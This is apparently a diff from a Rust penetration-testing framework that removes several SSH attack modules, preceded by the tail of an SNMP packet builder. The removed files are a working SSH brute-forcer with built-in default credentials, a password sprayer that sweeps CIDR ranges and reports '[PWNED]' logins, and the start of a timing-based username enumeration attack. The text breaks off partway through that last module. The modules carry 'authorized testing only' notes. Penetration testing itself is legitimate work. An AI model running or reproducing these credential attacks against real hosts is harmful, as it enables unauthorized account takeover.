let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
-444
View File
@@ -1,444 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
net::TcpStream,
sync::atomic::{AtomicBool, Ordering},
sync::Arc,
time::Duration,
io::Write,
};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
match input.parse() {
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
};
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
Some(prompt_existing_file("Username wordlist").await?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
Some(prompt_existing_file("Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10").await?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5").await?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2").await?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
usernames.iter().cloned().collect()
} else {
if usernames.is_empty() {
Vec::new()
} else {
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
// Acquire semaphore permit inside the spawned task
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
// Check if already found to avoid duplicates
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
if !found_guard.contains(&entry) {
found_guard.push(entry);
}
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!(
"\r{}",
format!(
"[!] {} -> {}:{} (retry {}/{}) - {}",
addr_clone,
user_clone,
pass_clone,
retries,
max_retries_clone,
msg
)
.yellow()
);
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
{
let mut unk = unknown_clone.lock().await;
unk.push((
addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
break;
}
}
}
}
}));
}
}
// Wait for all tasks with FuturesUnordered
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
// Use std::fs::File for simple writing
use std::fs::File;
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored SSH responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ssh_unknown_responses.txt";
let fname = prompt_default(
&format!(
"What should the unknown results be saved as? (default: {})",
default_name
),
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::fs::File;
match File::create(&filename) {
Ok(mut file) => {
writeln!(
file,
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
println!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
println!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let handle = spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
});
let join_result = timeout(timeout_duration, handle)
.await
.map_err(|_| anyhow!("Connection timeout"))?;
join_result.map_err(|e| anyhow!("Join error: {}", e))?
}
-494
View File
@@ -1,494 +0,0 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Password Spray ║".cyan());
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Benefits: ║".cyan());
println!("{}", "║ - Avoids account lockouts ║".cyan());
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
println!("{}", "║ - Efficient for large network assessments ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_summary(&self) {
println!();
println!("{}", "=== Spray Summary ===".cyan().bold());
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
for user in usernames {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
let _ = std::io::Write::flush(&mut std::io::stdout());
results.lock().await.push(cred);
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
}
_ => {
stats.record_attempt(false, true);
}
}
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Get password to spray
let password = prompt("Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
println!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false).await? {
let file_path = prompt("File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
-315
View File
@@ -1,315 +0,0 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use anyhow::Context;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ How it works: ║".cyan());
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
